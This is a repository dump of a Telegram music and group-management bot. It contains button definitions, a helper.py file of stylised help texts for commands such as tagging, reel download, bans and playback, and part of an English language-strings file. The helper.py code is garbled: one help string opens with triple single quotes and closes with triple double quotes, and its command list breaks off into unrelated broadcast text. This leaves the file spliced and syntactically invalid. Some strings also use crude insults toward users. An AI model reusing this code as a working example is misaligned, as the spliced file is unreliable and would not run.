[InlineKeyboardButton("◁", callback_data=f"settings_back_helper"),
InlineKeyboardButton("↻ ʙᴀᴄᴋ ↻", callback_data=f"mbot_cb"),
InlineKeyboardButton("▷", callback_data=f"managebot123 settings_back_helper"),
]]
================================================
FILE: BrandrdXMusic/utils/stuffs/helper.py
================================================
# helper for strings
class Helper(object):
HELP_M = '''ᴄʜᴏᴏsᴇ ᴛʜᴇ ᴄᴀᴛᴇɢᴏʀʏ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ ɢᴇᴛ ʜᴇʟᴩ.
ᴀsᴋ ʏᴏᴜʀ ᴅᴏᴜʙᴛs ᴀᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ
ᴀʟʟ ᴄᴏᴍᴍᴀɴᴅs ᴄᴀɴ ʙᴇ ᴜsᴇᴅ ᴡɪᴛʜ : /'''
HELP_ChatGPT = '''CʜᴀᴛGPT
CʜᴀᴛGPT ᴄᴏᴍᴍᴀɴᴅꜱ:
/ask ➠ ǫᴜᴇʀɪᴇs ᴛʜᴇ ᴀɪ ᴍᴏᴅᴇʟ ᴛᴏ ɢᴇᴛ ᴀ ʀᴇsᴘᴏɴsᴇ ᴛᴏ ʏᴏᴜʀ ǫᴜᴇsᴛɪᴏɴ.
'''
HELP_Reel = '''Rᴇᴇʟ
Rᴇᴇʟ ᴄᴏᴍᴍᴀɴᴅꜱ:
/ig [URL] ➠ ᴅᴏᴡɴʟᴏᴀᴅ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟs. Pʀᴏᴠɪᴅᴇ ᴛʜᴇ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ URL ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ.
/instagram [URL] ➠ ᴅᴏᴡɴʟᴏᴀᴅ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟs. Pʀᴏᴠɪᴅᴇ ᴛʜᴇ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ URL ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ.
/reel [URL] ➠ ᴅᴏᴡɴʟᴏᴀᴅ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟs. Pʀᴏᴠɪᴅᴇ ᴛʜᴇ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ URL ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ.
'''
HELP_TagAll = '''Tᴀɢ
Tᴀɢ ᴄᴏᴍᴍᴀɴᴅꜱ:
✿ ᴄʜᴏᴏsᴇ ᴛᴀɢ ɪɴ ʏᴏᴜʀ ᴄʜᴀᴛ ✿
๏ /gmtag ➛ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ
ᴛᴀɢ sᴛᴏᴘ ⇴ /gmstop
๏ /gntag ➛ ɢᴏᴏᴅ ɴɪɢʜᴛ ᴛᴀɢ sᴛᴏᴘ ⇴ /gnstop
๏ /tagall ➛ ʀᴀɴᴅᴏᴍ ᴍᴇssᴀɢᴇ ᴛᴀɢ sᴛᴏᴘ ⇴ /tagoff /tagstop
๏ /hitag ➛ ʀᴀɴᴅᴏᴍ ʜɪɴᴅɪ ᴍᴇssᴀɢᴇ ᴛᴀɢ sᴛᴏᴘ ⇴/histop
๏ /shayari ➛ ʀᴀɴᴅᴏᴍ sʜᴀʏᴀʀɪ ᴛᴀɢ sᴛᴏᴘ ⇴ /shstop
๏ /utag ➛ ᴀɴʏ ᴡʀɪᴛᴛᴇɴ ᴛᴇxᴛ ᴛᴀɢ sᴛᴏᴘ ⇴ /cancel
'''
HELP_Info = '''Iɴꜰᴏ
Iɴꜰᴏ ᴄᴏᴍᴍᴀɴᴅꜱ:
/id : ɢᴇᴛ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ɢʀᴏᴜᴘ ɪᴅ. ɪғ ᴜsᴇᴅ ʙʏ ʀᴇᴘʟʏɪɴɢ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ, ɢᴇᴛs ᴛʜᴀᴛ ᴜsᴇʀ's ɪᴅ.
/info : ɢᴇᴛ ɪɴғᴏʀᴍᴀᴛɪᴏɴ ᴀʙᴏᴜᴛ ᴀ ᴜsᴇʀ.
'''
HELP_History = '''Hɪsᴛᴏʀʏ
Hɪsᴛᴏʀʏ ᴄᴏᴍᴍᴀɴᴅꜱ:
ᴛʜᴇsᴇ ᴀʀᴇ ᴛʜᴇ ᴀᴠᴀɪʟᴀʙʟᴇ ɢʀᴏᴜᴘ ᴍᴀɴᴀɢᴇᴍᴇɴᴛ ᴄᴏᴍᴍᴀɴᴅs:
⦿ /sɢ ᴏʀ /Hɪsᴛᴏʀʏ
Dᴇsᴄʀɪᴘᴛɪᴏɴ:
⦿ Fᴇᴛᴄʜᴇs ᴀ ʀᴀɴᴅᴏᴍ ᴍᴇssᴀɢᴇ ғʀᴏᴍ ᴀ ᴜsᴇʀ's ᴍᴇssᴀɢᴇ ʜɪsᴛᴏʀʏ.
Usᴀɢᴇ:
⦿ /sɢ [ᴜsᴇʀɴᴀᴍᴇ/ɪᴅ/ʀᴇᴘʏ]
Dᴇᴛᴀɪs:
⦿ Fᴇᴛᴄʜᴇs ᴀ ʀᴀɴᴅᴏᴍ ᴍᴇssᴀɢᴇ ғʀᴏᴍ ᴛʜᴇ ᴍᴇssᴀɢᴇ ʜɪsᴛᴏʀʏ ᴏғ ᴛʜᴇ sᴘᴇᴄɪғɪᴇᴅ ᴜsᴇʀ.
⦿ Cᴀɴ ʙᴇ ᴜsᴇᴅ ʙʏ ᴘʀᴏᴠɪᴅɪɴɢ ᴀ ᴜsᴇʀɴᴀᴍᴇ, ᴜsᴇʀ ID, ᴏʀ ʀᴇᴘʏɪɴɢ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ ғʀᴏᴍ ᴛʜᴇ ᴜsᴇʀ.
⦿ Aᴄᴄᴇssɪʙᴇ ᴏɴʏ ʙʏ ᴛʜᴇ ʙᴏᴛ's ᴀssɪsᴛᴀɴᴛs.
Exᴀᴍᴘᴇs:
⦿ /sɢ ᴜsᴇʀɴᴀᴍᴇ`
⦿ /sɢ ᴜsᴇʀ_ɪᴅ`
⦿ /sɢ [ʀᴇᴘʏ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ]`
'''
HELP_Couples = '''ᴄᴏᴜᴘʟᴇꜱ
ᴄᴏᴜᴘʟᴇꜱ ᴄᴏᴍᴍᴀɴᴅꜱ:
/couples - ᴄʜᴏᴏsᴇ 2 ᴜsᴇʀs ᴀɴᴅ sᴇɴᴅ ᴛʜᴇɪʀ ɴᴀᴍᴇ ᴀs ᴄᴏᴜᴘʟᴇs ɪɴ ʏᴏᴜʀ ᴄʜᴀᴛ.
'''
HELP_Extra = '''Exᴛʀᴀ
Exᴛʀᴀ ᴄᴏᴍᴍᴀɴᴅꜱ:
⦿ /tgm ➠ ᴜᴘʟᴏᴀᴅs ᴀ ᴘʜᴏᴛᴏ (ᴜɴᴅᴇʀ 𝟻ᴍʙ) ᴛᴏ ᴛʜᴇ ᴄʟᴏᴜᴅ ᴀɴᴅ ɢɪᴠᴇs ᴀ ʟɪɴᴋ.
⦿ /paste ➠ ᴜᴘʟᴏᴀᴅs ᴀ ᴛᴇxᴛ sɴɪᴘᴘᴇᴛ ᴛᴏ ᴛʜᴇ ᴄʟᴏᴜᴅ ᴀɴᴅ ɢɪᴠᴇs ᴀ ʟɪɴᴋ.
⦿ /tr ➠ ᴛʀᴀɴsʟᴀᴛᴇs ᴛᴇxᴛ.
'''
HELP_Action = '''Aᴄᴛɪᴏɴ
Aᴄᴛɪᴏɴ ᴄᴏᴍᴍᴀɴᴅꜱ:
» ᴀᴠᴀɪʟᴀʙʟᴇ ᴄᴏᴍᴍᴀɴᴅs ꜰᴏʀ Bᴀɴs & Mᴜᴛᴇ :
❍ /kickme: kicks the user who issued the command
Admins only:
❍ /ban /broadcast -user -assistant -pin ᴛᴇsᴛɪɴɢ ʙʀᴏᴀᴅᴄᴀsᴛ
"""
HELP_4 = """ᴄʜᴀᴛ ʙʟᴀᴄᴋʟɪsᴛ ғᴇᴀᴛᴜʀᴇ : [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs]
ʀᴇsᴛʀɪᴄᴛ sʜɪᴛ ᴄʜᴀᴛs ᴛᴏ ᴜsᴇ ᴏᴜʀ ᴘʀᴇᴄɪᴏᴜs ʙᴏᴛ.
/blacklistchat [ᴄʜᴀᴛ ɪᴅ] : ʙʟᴀᴄᴋʟɪsᴛ ᴀ ᴄʜᴀᴛ ғʀᴏᴍ ᴜsɪɴɢ ᴛʜᴇ ʙᴏᴛ.
/whitelistchat [ᴄʜᴀᴛ ɪᴅ] : ᴡʜɪᴛᴇʟɪsᴛ ᴛʜᴇ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛ.
/blacklistedchat : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs.
"""
HELP_5 = """
ʙʟᴏᴄᴋ ᴜsᴇʀs: [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs]
sᴛᴀʀᴛs ɪɢɴᴏʀɪɴɢ ᴛʜᴇ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴜsᴇʀ, sᴏ ᴛʜᴀᴛ ʜᴇ ᴄᴀɴ'ᴛ ᴜsᴇ ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅs.
/block [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ʙʟᴏᴄᴋ ᴛʜᴇ ᴜsᴇʀ ғʀᴏᴍ ᴏᴜʀ ʙᴏᴛ.
/unblock [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ᴜɴʙʟᴏᴄᴋs ᴛʜᴇ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀ.
/blockedusers : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs.
"""
HELP_6 = """
ᴄʜᴀɴɴᴇʟ ᴩʟᴀʏ ᴄᴏᴍᴍᴀɴᴅs:
ʏᴏᴜ ᴄᴀɴ sᴛʀᴇᴀᴍ ᴀᴜᴅɪᴏ/ᴠɪᴅᴇᴏ ɪɴ ᴄʜᴀɴɴᴇʟ.
/cplay : sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴀᴜᴅɪᴏ ᴛʀᴀᴄᴋ ᴏɴ ᴄʜᴀɴɴᴇʟ's ᴠɪᴅᴇᴏᴄʜᴀᴛ.
/cvplay : sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴠɪᴅᴇᴏ ᴛʀᴀᴄᴋ ᴏɴ ᴄʜᴀɴɴᴇʟ's ᴠɪᴅᴇᴏᴄʜᴀᴛ.
/cplayforce or /cvplayforce : sᴛᴏᴩs ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ᴀɴᴅ sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴛʀᴀᴄᴋ.
/channelplay [ᴄʜᴀᴛ ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ɪᴅ] ᴏʀ [ᴅɪsᴀʙʟᴇ] : ᴄᴏɴɴᴇᴄᴛ ᴄʜᴀɴɴᴇʟ ᴛᴏ ᴀ ɢʀᴏᴜᴩ ᴀɴᴅ sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʀᴀᴄᴋs ʙʏ ᴛʜᴇ ʜᴇʟᴩ ᴏғ ᴄᴏᴍᴍᴀɴᴅs sᴇɴᴛ ɪɴ ɢʀᴏᴜᴩ.
"""
HELP_7 = """
ɢʟᴏʙᴀʟ ʙᴀɴ ғᴇᴀᴛᴜʀᴇ [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs] :
/gban [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ɢʟᴏʙᴀʟʟʏ ʙᴀɴs ᴛʜᴇ ᴄʜᴜᴛɪʏᴀ ғʀᴏᴍ ᴀʟʟ ᴛʜᴇ sᴇʀᴠᴇᴅ ᴄʜᴀᴛs ᴀɴᴅ ʙʟᴀᴄᴋʟɪsᴛ ʜɪᴍ ғʀᴏᴍ ᴜsɪɴɢ ᴛʜᴇ ʙᴏᴛ.
/ungban [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ɢʟᴏʙᴀʟʟʏ ᴜɴʙᴀɴs ᴛʜᴇ ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ᴜsᴇʀ.
/gbannedusers : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ᴜsᴇʀs.
"""
HELP_8 = """
ʟᴏᴏᴘ sᴛʀᴇᴀᴍ :
sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ɪɴ ʟᴏᴏᴘ
/loop [enable/disable] : ᴇɴᴀʙʟᴇs/ᴅɪsᴀʙʟᴇs ʟᴏᴏᴘ ғᴏʀ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ
/loop [1, 2, 3, ...] : ᴇɴᴀʙʟᴇs ᴛʜᴇ ʟᴏᴏᴘ ғᴏʀ ᴛʜᴇ ɢɪᴠᴇɴ ᴠᴀʟᴜᴇ.
"""
HELP_9 = """
ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs] :
/logs : ɢᴇᴛ ʟᴏɢs ᴏғ ᴛʜᴇ ʙᴏᴛ.
/logger [ᴇɴᴀʙʟᴇ/ᴅɪsᴀʙʟᴇ] : ʙᴏᴛ ᴡɪʟʟ sᴛᴀʀᴛ ʟᴏɢɢɪɴɢ ᴛʜᴇ ᴀᴄᴛɪᴠɪᴛɪᴇs ʜᴀᴩᴩᴇɴ ᴏɴ ʙᴏᴛ.
/maintenance [ᴇɴᴀʙʟᴇ/ᴅɪsᴀʙʟᴇ] : ᴇɴᴀʙʟᴇ ᴏʀ ᴅɪsᴀʙʟᴇ ᴛʜᴇ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴏғ ʏᴏᴜʀ ʙᴏᴛ.
"""
HELP_10 = """
ᴘɪɴɢ & sᴛᴀᴛs :
/start : sᴛᴀʀᴛs ᴛʜᴇ ᴍᴜsɪᴄ ʙᴏᴛ.
/help : ɢᴇᴛ ʜᴇʟᴩ ᴍᴇɴᴜ ᴡɪᴛʜ ᴇxᴩʟᴀɴᴀᴛɪᴏɴ ᴏғ ᴄᴏᴍᴍᴀɴᴅs.
/ping : sʜᴏᴡs ᴛʜᴇ ᴩɪɴɢ ᴀɴᴅ sʏsᴛᴇᴍ sᴛᴀᴛs ᴏғ ᴛʜᴇ ʙᴏᴛ.
/stats : sʜᴏᴡs ᴛʜᴇ ᴏᴠᴇʀᴀʟʟ sᴛᴀᴛs ᴏғ ᴛʜᴇ ʙᴏᴛ.
"""
HELP_11 = """
ᴩʟᴀʏ ᴄᴏᴍᴍᴀɴᴅs :
v : sᴛᴀɴᴅs ғᴏʀ ᴠɪᴅᴇᴏ ᴩʟᴀʏ.
force : sᴛᴀɴᴅs ғᴏʀ ғᴏʀᴄᴇ ᴩʟᴀʏ.
/play ᴏʀ /vplay : sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴛʀᴀᴄᴋ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.
/playforce ᴏʀ /vplayforce : sᴛᴏᴩs ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ᴀɴᴅ sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴛʀᴀᴄᴋ.
"""
HELP_12 = """
sʜᴜғғʟᴇ ᴏ̨ᴜᴇᴜᴇ :
/shuffle : sʜᴜғғʟᴇ's ᴛʜᴇ ᴏ̨ᴜᴇᴜᴇ.
/queue : sʜᴏᴡs ᴛʜᴇ sʜᴜғғʟᴇᴅ ᴏ̨ᴜᴇᴜᴇ.
"""
HELP_13 = """
sᴇᴇᴋ sᴛʀᴇᴀᴍ :
/seek [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs] : sᴇᴇᴋ ᴛʜᴇ sᴛʀᴇᴀᴍ ᴛᴏ ᴛʜᴇ ɢɪᴠᴇɴ ᴅᴜʀᴀᴛɪᴏɴ.
/seekback [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs] : ʙᴀᴄᴋᴡᴀʀᴅ sᴇᴇᴋ ᴛʜᴇ sᴛʀᴇᴀᴍ ᴛᴏ ᴛʜᴇ ᴛʜᴇ ɢɪᴠᴇɴ ᴅᴜʀᴀᴛɪᴏɴ.
"""
HELP_14 = """
sᴏɴɢ ᴅᴏᴡɴʟᴏᴀᴅ
/song [sᴏɴɢ ɴᴀᴍᴇ/ʏᴛ ᴜʀʟ] : ᴅᴏᴡɴʟᴏᴀᴅ ᴀɴʏ ᴛʀᴀᴄᴋ ғʀᴏᴍ ʏᴏᴜᴛᴜʙᴇ ɪɴ ᴍᴘ3 ᴏʀ ᴍᴘ4 ғᴏʀᴍᴀᴛs.
"""
HELP_15 = """
sᴘᴇᴇᴅ ᴄᴏᴍᴍᴀɴᴅs :
ʏᴏᴜ ᴄᴀɴ ᴄᴏɴᴛʀᴏʟ ᴛʜᴇ ᴘʟᴀʏʙᴀᴄᴋ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ. [ᴀᴅᴍɪɴs ᴏɴʟʏ]
/speed or /playback : ғᴏʀ ᴀᴅᴊᴜsᴛɪɴɢ ᴛʜᴇ ᴀᴜᴅɪᴏ ᴘʟᴀʏʙᴀᴄᴋ sᴘᴇᴇᴅ ɪɴ ɢʀᴏᴜᴘ.
/cspeed or /cplayback : ғᴏʀ ᴀᴅᴊᴜsᴛɪɴɢ ᴛʜᴇ ᴀᴜᴅɪᴏ ᴘʟᴀʏʙᴀᴄᴋ sᴘᴇᴇᴅ ɪɴ ᴄʜᴀɴɴᴇʟ.
"""
================================================
FILE: strings/langs/en.yml
================================================
name : 🇺🇸 English
# Reason Of Gban Or Ungban
gban_reason : "ᴛʜᴇ ʙᴏᴛ ᴡɪʟʟ ɢʙᴀɴ ᴏɴʟʏ ᴡᴏʀᴋ ᴡʜᴇɴ ʏᴏᴜ ᴡɪʟʟ ɢɪᴠᴇ ᴜsᴇʀɴᴀᴍᴇ ᴀɴᴅ ʀᴇᴀsᴏɴ ᴛᴏᴏ!!"
ungban_reason : "ᴀs ᴡᴇʟʟ ᴀs ʏᴏᴜ ɢʙᴀɴɴᴇᴅ!\nᴛʜᴇ ʙᴏᴛ ᴡɪʟʟ ᴜɴɢʙᴀɴ sᴏᴍᴇᴏɴᴇ ᴡɪᴛʜ ᴛʜᴇɪʀ ʀᴇᴀsᴏɴ ᴏғ ᴜɴɢʙᴀɴɴɪɴɢ!!"
too_short : "ʜᴀʜᴀʜᴀ!!\nɪғ ʏᴏᴜ ᴛʜɪɴᴋ ᴛʜᴀᴛ ʙᴏᴛ ᴡɪʟʟ ɢʙᴀɴ ʙʏ ɢɪᴠɪɴɢ ʀᴇᴀsᴏɴ ғᴏʀ ᴍᴀᴋɪɴɢ ᴍᴇ ғᴏᴏʟ, ᴛʜᴇɴ ᴛʜɪɴᴋ ᴀʙᴏᴜᴛ ᴛʜᴇ ᴏᴡɴᴇʀ ᴏғ ʙᴏᴛ ɪs ɴᴏᴛ sᴛᴜᴘɪᴅ!!"
general_1 : "» ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴜsᴇʀ's ᴍᴇssᴀɢᴇ ᴏʀ ɢɪᴠᴇ ᴜsᴇʀɴᴀᴍᴇ/ᴜsᴇʀ ɪᴅ."
general_2 : "» sᴏᴍᴇᴛʜɪɴɢ ᴡᴇɴᴛ ᴡʀᴏɴɢ ᴡʜɪʟᴇ ᴘʀᴏᴄᴇssɪɴɢ ʏᴏᴜʀ ǫᴜᴇʀʏ.\n\nᴇxᴄᴇᴘᴛɪᴏɴ : {0}"
general_3 : "ʏᴏᴜ'ʀᴇ ᴀɴ ᴀɴᴏɴʏᴍᴏᴜs ᴀᴅᴍɪɴ ɪɴ ᴛʜɪs ᴄʜᴀᴛ, ʀᴇᴠᴇʀᴛ ʙᴀᴄᴋ ᴛᴏ ᴜsᴇʀ ᴀᴄᴄᴏᴜɴᴛ ғᴏʀ ᴜsɪɴɢ ᴍᴇ."
general_4 : "» ʏᴏᴜ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ᴍᴀɴᴀɢᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs.\n\nʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ /reload"
general_5 : "» ʙᴏᴛ ɪsɴ'ᴛ sᴛʀᴇᴀᴍɪɴɢ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ."
tg_1 : "{0} ᴅᴏᴡɴʟᴏᴀᴅᴇʀ\n\nғɪʟᴇ sɪᴢᴇ : {1}\nᴄᴏᴍᴘʟᴇᴛᴇᴅ : {2}\nᴘᴇʀᴄᴇɴᴛᴀɢᴇ : {3}%\n\nsᴘᴇᴇᴅ : {4}/s\nᴇᴛᴀ : {5}"
tg_2 : "sᴜᴄᴄᴇssғᴜʟʟʏ ᴅᴏᴡɴʟᴏᴀᴅᴇᴅ, ᴘʀᴏᴄᴇssɪɴɢ ғɪʟᴇ...\n\nᴛɪᴍᴇ ᴇʟᴀᴘsᴇᴅ : {0}"
tg_3 : "ғᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴍᴇᴅɪᴀ ғʀᴏᴍ ᴛᴇʟᴇɢʀᴀᴍ, ᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɢᴀɪɴ..."
tg_4 : "» ᴅᴏᴡɴʟᴏᴀᴅ ᴀʟʀᴇᴀᴅʏ ᴄᴏᴍᴘʟᴇᴛᴇᴅ."
tg_5 : "» ᴅᴏᴡɴʟᴏᴀᴅ ᴀʟʀᴇᴀᴅʏ ᴄᴏᴍᴘʟᴇᴛᴇᴅ ᴏʀ ᴄᴀɴᴄᴇʟʟᴇᴅ."
tg_6 : "» ᴅᴏᴡɴʟᴏᴀᴅ ᴄᴀɴᴄᴇʟʟᴇᴅ."
tg_7 : "» ᴅᴏᴡɴʟᴏᴀᴅ ᴄᴀɴᴄᴇʟʟᴇᴅ ʙʏ : {0}"
tg_8 : "ғᴀɪʟᴇᴅ ᴛᴏ sᴛᴏᴘ ᴛʜᴇ ᴅᴏᴡɴʟᴏᴀᴅ."
tg_9 : "ғᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ᴛʜᴇ ᴏɴɢᴏɪɴɢ ᴅᴏᴡɴʟᴏᴀᴅ ᴛᴀsᴋ..."
call_1 : "» ʙᴏᴛ ʀᴇǫᴜɪʀᴇs ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ᴘᴇʀᴍɪssɪᴏɴ ᴛᴏ ɪɴᴠɪᴛᴇ ᴀssɪsᴛᴀɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ."
call_2 : "{0} ᴀssɪsᴛᴀɴᴛ ɪs ʙᴀɴɴᴇᴅ ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ.\n\nɪᴅ : {1}\nɴᴀᴍᴇ : {2}\nᴜsᴇʀɴᴀᴍᴇ : @{3}\n\nᴘʟᴇᴀsᴇ ᴜɴʙᴀɴ ᴛʜᴇ ᴀssɪsᴛᴀɴᴛ ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ."
call_3 : "ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {0} ᴀssɪsᴛᴀɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ.\n\nʀᴇᴀsᴏɴ : {1}"
call_4 : "ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nɪɴᴠɪᴛɪɴɢ {0} ᴀssɪsᴛᴀɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ..."
call_5 : "{0} ᴀssɪsᴛᴀɴᴛ ᴊᴏɪɴᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ.\n\nᴛʀʏɪɴɢ ᴛᴏ sᴛᴀʀᴛ sᴛʀᴇᴀᴍ..."
call_6 : "» ғᴀɪʟᴇᴅ ᴛᴏ sᴡɪᴛᴄʜ sᴛʀᴇᴀᴍ, ᴘʟᴇᴀsᴇ ᴜsᴇ /skip ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ ᴛʀᴀᴄᴋ ᴀɢᴀɪɴ."
call_7 : "» ᴅᴏᴡɴʟᴏᴀᴅɪɴɢ ɴᴇxᴛ ᴛʀᴀᴄᴋ ғʀᴏᴍ ǫᴜᴇᴜᴇ.\n\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ..."
call_8 : "Nᴏ ᴀᴄᴛɪᴠᴇ ᴠɪᴅᴇᴏᴄʜᴀᴛ ғᴏᴜɴᴅ.\n\nPʟᴇᴀsᴇ sᴛᴀʀᴛ ᴠɪᴅᴇᴏᴄʜᴀᴛ ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ."
call_9 : "Assɪsᴛᴀɴᴛ ᴀʟʀᴇᴀᴅʏ ɪɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.\n\nɪғ ᴀssɪsᴛᴀɴᴛ ɪs ɴᴏᴛ ɪɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ, ᴘʟᴇᴀsᴇ sᴇɴᴅ /reboot ᴀɴᴅ ᴘʟᴀʏ ᴀɢᴀɪɴ."
call_10 : "Tᴇʟᴇɢʀᴀᴍ sᴇʀᴠᴇʀ ᴇʀʀᴏʀ\n\nᴛᴇʟᴇɢʀᴀᴍ ɪs ʜᴀᴠɪɴɢ sᴏᴍᴇ ɪɴᴛᴇʀɴᴀʟ ᴘʀᴏʙʟᴇᴍs, ᴘʟᴇᴀsᴇ ᴛʀʏ ᴘʟᴀʏɪɴɢ ᴀɢᴀɪɴ ᴏʀ ʀᴇsᴛᴀʀᴛ ᴛʜᴇ ᴠɪᴅᴇᴏᴄʜᴀᴛ ᴏғ ʏᴏᴜʀ ɢʀᴏᴜᴘ."
auth_1 : "» ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʜᴀᴠᴇ 25 ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ."
auth_2 : "» ᴀᴅᴅᴇᴅ {0} ᴛᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ."
auth_3 : "{0} ɪs ᴀʟʀᴇᴀᴅʏ ɪɴ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ."
auth_4 : "» ʀᴇᴍᴏᴠᴇᴅ {0} ғʀᴏᴍ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ."
auth_5 : "{0} ɪs ɴᴏᴛ ɪɴ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ."
auth_6 : "» ғᴇᴛᴄʜɪɴɢ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ..."
auth_7 : "» ʟɪsᴛ ᴏғ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ɪɴ {0} :\n\n"
auth_8 : "↬ ᴀᴅᴅᴇᴅ ʙʏ :"
reload_1 : "» ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʀᴇғʀᴇsʜ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴏɴᴄᴇ ɪɴ 3 ᴍɪɴᴜᴛᴇs.\n\nᴘʟᴇᴀsᴇ ᴛʀʏ ᴀғᴛᴇʀ {0}."
